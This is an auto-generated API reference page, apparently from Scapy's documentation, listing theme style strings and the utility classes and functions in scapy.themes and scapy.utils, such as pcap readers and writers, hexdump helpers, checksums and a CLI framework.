style_left = '<span class=left>%s</span>'

	




	
style_not_printable = '<span class=not_printable>%s</span>'

	




	
style_odd = '<span class=odd>%s</span>'

	




	
style_packetlist_name = '<span class=packetlist_name>%s</span>'

	




	
style_packetlist_proto = '<span class=packetlist_proto>%s</span>'

	




	
style_packetlist_value = '<span class=packetlist_value>%s</span>'

	




	
style_prompt = '<span class=prompt>%s</span>'

	




	
style_right = '<span class=right>%s</span>'

	




	
style_success = '<span class=success>%s</span>'

	








	
class scapy.themes.HTMLTheme2[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L360-L376]

	Bases: HTMLTheme


	
style_emph_field_name = '#[#span class=emph_field_name#]#%s#[#/span#]#'

	




	
style_emph_field_value = '#[#span class=emph_field_value#]#%s#[#/span#]#'

	




	
style_even = '#[#span class=even#]#%s#[#/span#]#'

	




	
style_fail = '#[#span class=fail#]#%s#[#/span#]#'

	




	
style_field_name = '#[#span class=field_name#]#%s#[#/span#]#'

	




	
style_field_value = '#[#span class=field_value#]#%s#[#/span#]#'

	




	
style_layer_name = '#[#span class=layer_name#]#%s#[#/span#]#'

	




	
style_left = '#[#span class=left#]#%s#[#/span#]#'

	




	
style_not_printable = '#[#span class=not_printable#]#%s#[#/span#]#'

	




	
style_odd = '#[#span class=odd#]#%s#[#/span#]#'

	




	
style_packetlist_name = '#[#span class=packetlist_name#]#%s#[#/span#]#'

	




	
style_packetlist_proto = '#[#span class=packetlist_proto#]#%s#[#/span#]#'

	




	
style_packetlist_value = '#[#span class=packetlist_value#]#%s#[#/span#]#'

	




	
style_prompt = '#[#span class=prompt#]#%s#[#/span#]#'

	




	
style_right = '#[#span class=right#]#%s#[#/span#]#'

	




	
style_success = '#[#span class=success#]#%s#[#/span#]#'

	








	
class scapy.themes.LatexTheme[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L289-L318]

	Bases: FormatTheme

You can prepend the output from this theme with
ttobeyspacesobeylinestinynoindent


	
style_emph_field_name = '\\textcolor{blue}{\\underline{%s}}'

	




	
style_emph_field_value = '\\textcolor{purple}{\\underline{%s}}'

	




	
style_fail = '\\textcolor{red}{\\bf %s}'

	




	
style_field_name = '\\textcolor{blue}{%s}'

	




	
style_field_value = '\\textcolor{purple}{%s}'

	




	
style_layer_name = '\\textcolor{red}{\\bf %s}'

	




	
style_left = '\\textcolor{blue}{%s}'

	




	
style_logo = '\\textcolor{green}{\\bf %s}'

	




	
style_not_printable = '\\textcolor{gray}{%s}'

	




	
style_packetlist_name = '\\textcolor{red}{\\bf %s}'

	




	
style_packetlist_proto = '\\textcolor{blue}{%s}'

	




	
style_packetlist_value = '\\textcolor{purple}{%s}'

	




	
style_prompt = '\\textcolor{blue}{%s}'

	




	
style_right = '\\textcolor{red}{%s}'

	




	
style_success = '\\textcolor{blue}{\\bf %s}'

	








	
class scapy.themes.LatexTheme2[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L321-L338]

	Bases: FormatTheme


	
style_emph_field_name = '@`@textcolor@[@blue@]@@[@@`@underline@[@%s@]@@]@'

	




	
style_emph_field_value = '@`@textcolor@[@purple@]@@[@@`@underline@[@%s@]@@]@'

	




	
style_even = '@`@textcolor@[@gray@]@@[@@`@bfseries@[@@]@%s@]@'

	




	
style_fail = '@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@'

	




	
style_field_name = '@`@textcolor@[@blue@]@@[@%s@]@'

	




	
style_field_value = '@`@textcolor@[@purple@]@@[@%s@]@'

	




	
style_layer_name = '@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@'

	




	
style_left = '@`@textcolor@[@blue@]@@[@%s@]@'

	




	
style_logo = '@`@textcolor@[@green@]@@[@@`@bfseries@[@@]@%s@]@'

	




	
style_not_printable = '@`@textcolor@[@gray@]@@[@%s@]@'

	




	
style_packetlist_name = '@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@'

	




	
style_packetlist_proto = '@`@textcolor@[@blue@]@@[@%s@]@'

	




	
style_packetlist_value = '@`@textcolor@[@purple@]@@[@%s@]@'

	




	
style_prompt = '@`@textcolor@[@blue@]@@[@%s@]@'

	




	
style_right = '@`@textcolor@[@red@]@@[@%s@]@'

	




	
style_success = '@`@textcolor@[@blue@]@@[@@`@bfseries@[@@]@%s@]@'

	








	
class scapy.themes.NoTheme[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L157-L158]

	Bases: ColorTheme






	
class scapy.themes.RastaTheme[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L231-L251]

	Bases: AnsiColorTheme


	
style_emph_field_name = '\x1b[32m'

	




	
style_emph_field_value = '\x1b[32m'

	




	
style_even = '\x1b[33m'

	




	
style_fail = '\x1b[31m'

	




	
style_field_name = '\x1b[33m\x1b[1m'

	




	
style_field_value = '\x1b[32m\x1b[1m'

	




	
style_id = '\x1b[32m\x1b[1m'

	




	
style_layer_name = '\x1b[31m\x1b[1m'

	




	
style_left = '\x1b[33m\x1b[7m'

	




	
style_logo = '\x1b[32m\x1b[1m'

	




	
style_normal = '\x1b[0m\x1b[32m\x1b[1m'

	




	
style_not_printable = '\x1b[32m'

	




	
style_odd = '\x1b[32m'

	




	
style_packetlist_name = '\x1b[31m\x1b[1m'

	




	
style_packetlist_proto = '\x1b[33m\x1b[1m'

	




	
style_packetlist_value = '\x1b[32m\x1b[1m'

	




	
style_prompt = '\x1b[33m\x1b[1m'

	




	
style_punct = '\x1b[31m'

	




	
style_right = '\x1b[31m\x1b[7m'

	




	
style_success = '\x1b[31m\x1b[1m'

	








	
scapy.themes.apply_ipython_style(shell: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L379-L451]

	Updates the specified IPython console shell with
the conf.color_theme scapy theme.






	
scapy.themes.create_styler(fmt: str | None = None, before: str = '', after: str = '', fmt2: str = '%s') → _ColorFormatterType[source] [https://github.com/secdev/scapy/blob/master/scapy/themes.py#L90-L106]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.utils

General utility functions.


	
scapy.utils.AutoArgparse(func: DecoratorCallable) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3560-L3652]

	Generate an Argparse call from a function, then call this function.

Notes:


	for the arguments to have a description, the sphinx docstring format
must be used. See
https://sphinx-rtd-tutorial.readthedocs.io/en/latest/docstrings.html


	the arguments must be typed in Python (we ignore Sphinx-specific types)
untyped arguments are ignored.


	only types that would be supported by argparse are supported. The others
are omitted.









	
class scapy.utils.CLIUtil[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3277-L3557]

	Bases: object

Provides a Util class to easily create simple CLI tools in Scapy,
that can still be used as an API.


	Doc:
	
	override the ps1() function


	register commands with the @CLIUtil.addcomment decorator


	call the loop() function when ready









	
classmethod addcommand(spaces: bool = False, globsupport: bool = False) → Callable[[DecoratorCallable], DecoratorCallable][source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3356-L3373]

	Decorator to register a command






	
classmethod addcomplete(cmd: DecoratorCallable) → Callable[[DecoratorCallable], DecoratorCallable][source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3386-L3394]

	Decorator to register a command completor






	
classmethod addoutput(cmd: DecoratorCallable) → Callable[[DecoratorCallable], DecoratorCallable][source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3375-L3384]

	Decorator to register a command output processor






	
close() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3402-L3406]

	Function called on exiting






	
commands: Dict[str, Callable[[...], Any]] = {'backup': <function smbclient.backup>, 'cat': <function smbclient.cat>, 'cd': <function smbclient.cd>, 'get': <function smbclient.get>, 'lcd': <function smbclient.lcd>, 'lls': <function smbclient.lls>, 'ls': <function smbclient.ls>, 'put': <function smbclient.put>, 'rm': <function smbclient.rm>, 'shares': <function smbclient.shares>, 'use': <function smbclient.use>}

	




	
commands_complete: Dict[str, Callable[[...], List[str]]] = {'cat': <function smbclient.cat_complete>, 'cd': <function smbclient.cd_complete>, 'get': <function smbclient.get_complete>, 'lcd': <function smbclient.lcd_complete>, 'ls': <function smbclient.ls_complete>, 'put': <function smbclient.put_complete>, 'rm': <function smbclient.rm_complete>}

	




	
commands_output: Dict[str, Callable[[...], str]] = {'cat': <function smbclient.cat_output>, 'cd': <function smbclient.cd_output>, 'get': <function smbclient.get_output>, 'lcd': <function smbclient.lcd_output>, 'lls': <function smbclient.lls_output>, 'ls': <function smbclient.ls_output>, 'shares': <function smbclient.shares_output>}

	




	
help(cmd: str | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3408-L3461]

	Return the help related to this CLI util






	
loop(debug: int = 0) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3492-L3557]

	Main command handling loop






	
ps1() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3396-L3400]

	Return the PS1 of the shell










	
class scapy.utils.ContextManagerCaptureOutput[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L874-L914]

	Bases: object

Context manager that intercept the console’s output.

Example:
>>> with ContextManagerCaptureOutput() as cmco:
…     print(“hey”)
…     assert cmco.get_output() == “hey”


	
get_output(eval_bytes: bool = False) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L910-L914]

	








	
class scapy.utils.ContextManagerSubprocess(prog: str, suppress: bool = True)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L831-L871]

	Bases: object

Context manager that eases checking for unknown command, without
crashing.

Example:
>>> with ContextManagerSubprocess(“tcpdump”):
>>>     subprocess.Popen([“tcpdump”, “–version”])
ERROR: Could not execute tcpdump, is it installed?






	
class scapy.utils.EDecimal(value='0', context=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L114-L187]

	Bases: Decimal

Extended Decimal

This implements arithmetic and comparison with float for
backward compatibility


	
normalize(precision: int) → EDecimal[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L183-L187]

	








	
class scapy.utils.ERFEthernetReader(filename: IO[bytes] | str)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2452-L2521]

	Bases: PcapReader


	
read_packet(size: int = 65535, **kwargs: Any) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2474-L2521]

	








	
class scapy.utils.ERFEthernetReader_metaclass(name: Any, bases: str, dct: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2405-L2449]

	Bases: PcapReader_metaclass


	
static open(fname) → Tuple[str, IO[bytes] | GzipFile][source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2432-L2449]

	Open (if necessary) filename










	
class scapy.utils.ERFEthernetWriter(filename: IO[bytes] | str, gz: bool = False, append: bool = False, sync: bool = False)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2547-L2609]

	Bases: PcapWriter

A stream ERF Ethernet writer with more control than wrerf()


	
close() → Any | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2607-L2609]

	




	
write(pkt: _PacketIterable) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2570-L2581]

	Writes a Packet, a SndRcvList object, or bytes to a ERF file.


	Parameters:

	pkt (iterable[scapy.packet.Packet], scapy.packet.Packet) – Packet(s) to write (one record for each Packet)










	
write_packet(pkt: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2583-L2605]

	








	
class scapy.utils.EnumElement(key: str, value: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1067-L1103]

	Bases: object






	
class scapy.utils.Enum_metaclass(name: Any, bases: str, dct: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1106-L1134]

	Bases: type


	
element_class[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1067-L1103]

	alias of EnumElement






	
get(attr: str, val: Any | None = None) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1128-L1130]

	








	
class scapy.utils.GenericPcapWriter[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1877-L1979]

	Bases: object


	
linktype: int | None = None

	




	
nano = False

	




	
write_header(pkt: Packet | bytes | None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1913-L1927]

	




	
write_packet(packet: bytes | Packet, sec: float | None = None, usec: int | None = None, caplen: int | None = None, wirelen: int | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1929-L1979]

	Writes a single packet to the pcap file.


	Parameters:

	
	packet (scapy.packet.Packet or bytes) – Packet, or bytes for a single packet


	sec (float) – time the packet was captured, in seconds since epoch. If
not supplied, defaults to now.


	usec (int or long) – If nano=True, then number of nanoseconds after the
second that the packet was captured. If nano=False,
then the number of microseconds after the second the
packet was captured. If sec is not specified,
this value is ignored.


	caplen (int) – The length of the packet in the capture file. If not
specified, uses len(raw(packet)).


	wirelen (int) – The length of the packet on the wire. If not
specified, tries packet.wirelen, otherwise uses
caplen.






	Returns:

	None



	Return type:

	None














	
class scapy.utils.GenericRawPcapWriter[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1982-L2038]

	Bases: GenericPcapWriter


	
close() → Any | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1996-L2000]

	




	
f: IO[bytes] | GzipFile = None

	




	
fileno() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1988-L1990]

	




	
flush() → Any | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1992-L1994]

	




	
header_present = False

	




	
nano = False

	




	
sync = False

	




	
write(pkt: _PacketIterable | bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2011-L2038]

	Writes a Packet, a SndRcvList object, or bytes to a pcap file.


	Parameters:

	pkt (iterable[scapy.packet.Packet], scapy.packet.Packet or bytes) – Packet(s) to write (one record for each Packet), or raw
bytes to write (as one record).














	
class scapy.utils.PcapNgReader(filename: IO[bytes] | str)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1837-L1874]

	Bases: RawPcapNgReader, PcapReader


	
alternative[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1480-L1539]

	alias of PcapReader






	
read_packet(size: int = 65535, **kwargs: Any) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1849-L1871]

	




	
recv(size: int = 65535, **kwargs: Any) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1873-L1874]

	








	
class scapy.utils.PcapNgWriter(filename: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2375-L2391]

	Bases: RawPcapNgWriter

A stream pcapng writer with more control than wrpcapng()






	
class scapy.utils.PcapReader(filename: IO[bytes] | str)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1480-L1539]

	Bases: RawPcapReader


	
alternative[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1837-L1874]

	alias of PcapNgReader






	
read_all(count: int = -1) → PacketList[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1535-L1539]

	




	
read_packet(size: int = 65535, **kwargs: Any) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1499-L1522]

	




	
recv(size: int = 65535, **kwargs: Any) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1524-L1526]

	








	
class scapy.utils.PcapReader_metaclass(name: Any, bases: str, dct: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1271-L1343]

	Bases: type

Metaclass for (Raw)Pcap(Ng)Readers


	
static open(fname: IO[bytes] | str) → Tuple[str, IO[bytes] | GzipFile, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1326-L1343]

	Open (if necessary) filename, and read the magic.










	
class scapy.utils.PcapWriter(filename: IO[bytes] | str, linktype: int | None = None, gz: bool = False, endianness: str = '', append: bool = False, sync: bool = False, nano: bool = False, snaplen: int = 65535, bufsz: int = 4096)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2370-L2372]

	Bases: RawPcapWriter

A stream PCAP writer with more control than wrpcap()






	
class scapy.utils.PeriodicSenderThread(sock: Any, pkt: _PacketIterable, interval: float = 0.5, ignore_exceptions: bool = True)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3660-L3698]

	Bases: Thread


	
run() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3680-L3693]

	




	
stop() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3695-L3698]

	








	
class scapy.utils.RawPcapNgReader(filename: IO[bytes] | str)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1542-L1834]

	Bases: RawPcapReader

A stateful pcapng reader. Each packet is returned as
bytes.


	
PacketMetadata[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py]

	alias of PacketMetadataNg






	
alternative[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1346-L1477]

	alias of RawPcapReader










	
class scapy.utils.RawPcapNgWriter(filename: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2172-L2367]

	Bases: GenericRawPcapWriter

A stream pcapng writer with more control than wrpcapng()


	
build_block(block_type: bytes, block_body: bytes, options: bytes | None = None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2211-L2232]

	








	
class scapy.utils.RawPcapReader(filename: IO[bytes] | str)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1346-L1477]

	Bases: object

A stateful pcap reader. Each packet is returned as a string


	
class PacketMetadata(sec, usec, wirelen, caplen)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py]

	Bases: tuple


	
caplen

	Alias for field number 3






	
sec

	Alias for field number 0






	
usec

	Alias for field number 1






	
wirelen

	Alias for field number 2










	
alternative[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1542-L1834]

	alias of RawPcapNgReader






	
close() → Any | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1463-L1465]

	




	
dispatch(callback: Callable[[Tuple[bytes, PacketMetadata]], Any]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1426-L1437]

	call the specified callback routine for each packet read

This is just a convenience function for the main loop
that allows for easy launching of packet processing in a
thread.






	
fileno() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1459-L1461]

	




	
nonblocking_socket = True

	




	
read_packet(size: int = 65535) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1419-L1424]

	




	
recv(size: int = 65535) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1453-L1457]

	Emulate a socket






	
static select(sockets: List[SuperSocket], remain: float | None = None) → List[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1472-L1477]

	








	
class scapy.utils.RawPcapWriter(filename: IO[bytes] | str, linktype: int | None = None, gz: bool = False, endianness: str = '', append: bool = False, sync: bool = False, nano: bool = False, snaplen: int = 65535, bufsz: int = 4096)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2041-L2169]

	Bases: GenericRawPcapWriter

A stream PCAP writer with more control than wrpcap()






	
class scapy.utils.SingleConversationSocket(o: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3701-L3732]

	Bases: object


	
send(x: Packet) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3725-L3732]

	




	
sr(*args: Any, **kargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3720-L3723]

	




	
sr1(*args: Any, **kargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3715-L3718]

	








	
scapy.utils.atol(x: str) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L753-L759]

	




	
scapy.utils.binrepr(val: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1053-L1055]

	




	
scapy.utils.checksum(pkt: bytes) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L600-L608]

	




	
scapy.utils.checksum_endian_transform(chk)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L597-L597]

	




	
scapy.utils.chexdump(p: Packet | AnyStr, dump: bool = False) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L366-L385]

	Build a per byte hexadecimal representation

Example

>>> chexdump(IP())
0x45, 0x00, 0x00, 0x14, 0x00, 0x01, 0x00, 0x00, 0x40, 0x00, 0x7c, 0xe7, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01  # noqa: E501






	Parameters:

	
	p – a Packet


	dump – print the view if False






	Returns:

	a String only if dump=True










	
scapy.utils.colgen(*lstcol: Any, **kargs: Any) → Iterator[Any][source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1029-L1043]

	Returns a generator that mixes provided quantities forever
trans: a function to convert the three arguments into a color. lambda x,y,z:(x,y,z) by default






	
scapy.utils.corrupt_bits(data: str, p: float = 0.01, n: int | None = None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1187-L1200]

	Flip a given percentage (at least one bit) or number of bits
from a string






	
scapy.utils.corrupt_bytes(data: str, p: float = 0.01, n: int | None = None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1171-L1184]

	Corrupt a given percentage (at least one byte) or number of bytes
from a string






	
scapy.utils.decode_locale_str(x: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L822-L828]

	Decode bytes into a string using the system locale.
Useful on Windows where it can be unusual (e.g. cp1252)






	
scapy.utils.do_graph(graph: str, prog: str | None = None, format: str | None = None, target: IO[bytes] | str | None = None, type: str | None = None, string: bool | None = None, options: List[str] | None = None) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L917-L1001]

	Processes graph description using an external software.
This method is used to convert a graphviz format to an image.


	Parameters:

	
	graph – GraphViz graph description


	prog – which graphviz program to use


	format – output type (svg, ps, gif, jpg, etc.), passed to dot’s “-T”
option


	string – if not None, simply return the graph string


	target – filename or redirect. Defaults pipe to Imagemagick’s
display program


	options – options to be passed to prog













	
scapy.utils.export_object(obj: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1142-L1145]

	




	
scapy.utils.fletcher16_checkbytes(binbuf: bytes, offset: int) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L637-L665]

	Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string.

Including the bytes into the buffer (at the position marked by offset) the  # noqa: E501
global Fletcher-16 checksum of the buffer will be 0. Thus it is easy to verify  # noqa: E501
the integrity of the buffer on the receiver side.

For details on the algorithm, see RFC 2328 chapter 12.1.7 and RFC 905 Annex B.  # noqa: E501






	
scapy.utils.fletcher16_checksum(binbuf: bytes) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L624-L634]

	Calculates Fletcher-16 checksum of the given buffer.

Note:
If the buffer contains the two checkbytes derived from the Fletcher-16 checksum  # noqa: E501
the result of this function has to be 0. Otherwise the buffer has been corrupted.  # noqa: E501






	
scapy.utils.get_temp_dir(keep: bool = False) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L224-L238]

	Creates a temporary file, and returns its name.


	Parameters:

	keep – If False (default), the directory will be recursively
deleted when Scapy exits.



	Returns:

	A full path to a temporary directory.










	
scapy.utils.get_temp_file(keep, autoext, fd)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L202-L221]

	
scapy.utils.get_temp_file(keep=False, autoext='', fd=False)

	Creates a temporary file.


	Parameters:

	
	keep – If False, automatically delete the file when Scapy exits.


	autoext – Suffix to add to the generated file name.


	fd – If True, this returns a file-like object with the temporary
file opened. If False (default), this returns a file path.













	
scapy.utils.get_terminal_width() → int | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2980-L3022]

	Get terminal width (number of characters) if in a window.

Notice: this will try several methods in order to
support as many terminals and OS as possible.






	
scapy.utils.hexdiff(a: Packet | AnyStr, b: Packet | AnyStr, algo: str | None = None, autojunk: bool = False) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L407-L591]

	Show differences between 2 binary strings, Packets…


	Available algorithms:
	
	wagnerfischer: Use the Wagner and Fischer algorithm to compute the
Levenstein distance between the strings then backtrack.


	difflib: Use the difflib.SequenceMatcher implementation. This based on a
modified version of the Ratcliff and Obershelp algorithm.
This is much faster, but far less accurate.
https://docs.python.org/3.8/library/difflib.html#difflib.SequenceMatcher









	Parameters:

	
	a – 


	b – The binary strings, packets… to compare


	algo – Force the algo to be ‘wagnerfischer’ or ‘difflib’.
By default, this is chosen depending on the complexity, optimistically
preferring wagnerfischer unless really necessary.


	autojunk – (difflib only) See difflib documentation.













	
scapy.utils.hexdump(p: Packet | AnyStr, dump: bool = False) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L313-L341]

	Build a tcpdump like hexadecimal view


	Parameters:

	
	p – a Packet


	dump – define if the result must be printed or returned in a variable






	Returns:

	a String only when dump=True










	
scapy.utils.hexedit(pktlist: _PacketIterable) → PacketList[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2967-L2977]

	Run hexedit on a list of packets, then return the edited packets.






	
scapy.utils.hexstr(p: Packet | AnyStr, onlyasc: int = 0, onlyhex: int = 0, color: bool = False) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L388-L398]

	Build a fancy tcpdump like hex from bytes.






	
scapy.utils.human_size(x: int, fmt: str = '.1f') → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3107-L3118]

	Convert a size in octets to a human string representation






	
scapy.utils.import_hexcap(input_string: str | None = None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2612-L2642]

	Imports a tcpdump like hexadecimal view

e.g: exported via hexdump() or tcpdump or wireshark’s “export as hex”


	Parameters:

	input_string – String containing the hexdump input to parse. If None,
read from standard input.










	
scapy.utils.import_object(obj: str | None = None) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1148-L1153]

	




	
scapy.utils.incremental_label(label: str = 'tag%05i', start: int = 0) → Iterator[str][source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1046-L1050]

	




	
scapy.utils.issubtype(C, B) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L94-L108]

	Return whether C is a class and if it is a subclass of class B.
When using a tuple as the second argument issubtype(X, (A, B, …)),
is a shortcut for issubtype(X, A) or issubtype(X, B) or … (etc.).






	
scapy.utils.itom(x: int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L817-L819]

	




	
scapy.utils.lhex(x: Any) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L299-L310]

	




	
scapy.utils.linehexdump(p: Packet | AnyStr, onlyasc: int = 0, onlyhex: int = 0, dump: bool = False) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L344-L363]

	Build an equivalent view of hexdump() on a single line

Note that setting both onlyasc and onlyhex to 1 results in a empty output


	Parameters:

	
	p – a Packet


	onlyasc – 1 to display only the ascii view


	onlyhex – 1 to display only the hexadecimal view


	dump – print the view if False






	Returns:

	a String only when dump=True










	
scapy.utils.load_object(fname: str) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1165-L1168]

	unpickle a Python object






	
scapy.utils.long_converter(s: str) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1058-L1060]

	




	
scapy.utils.ltoa(x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L812-L814]

	




	
scapy.utils.mac2str(mac: str) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L668-L670]

	




	
scapy.utils.make_lined_table(*args: Any, **kargs: Any) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3213-L3224]

	




	
scapy.utils.make_table(*args: Any, **kargs: Any) → Any | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3202-L3210]

	




	
scapy.utils.make_tex_table(*args: Any, **kargs: Any) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3227-L3236]

	




	
scapy.utils.pretty_list(rtlst: List[Tuple[str | List[str], ...]], header: List[Tuple[str, ...]], sortBy: int | None = 0, borders: bool = False) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3025-L3104]

	Pretty list to fit the terminal, and add header.


	Parameters:

	
	rtlst – a list of tuples. each tuple contains a value which can
be either a string or a list of string.


	sortBy – the column id (starting with 0) which will be used for
ordering


	borders – whether to put borders on the table or not













	
scapy.utils.randstring(length: int) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L689-L695]

	Returns a random string of length (length >= 0)






	
scapy.utils.rderf(filename: IO[bytes] | str, count: int = -1) → PacketList[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2394-L2402]

	Read a ERF file and return a packet list


	Parameters:

	count – read only <count> packets










	
scapy.utils.rdpcap(filename: IO[bytes] | str, count: int = -1) → PacketList[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1248-L1260]

	Read a pcap or pcapng file and return a packet list


	Parameters:

	count – read only <count> packets










	
scapy.utils.repr_hex(s: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L401-L404]

	Convert provided bitstring to a simple string of hex digits






	
scapy.utils.restart() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L284-L296]

	Restarts scapy






	
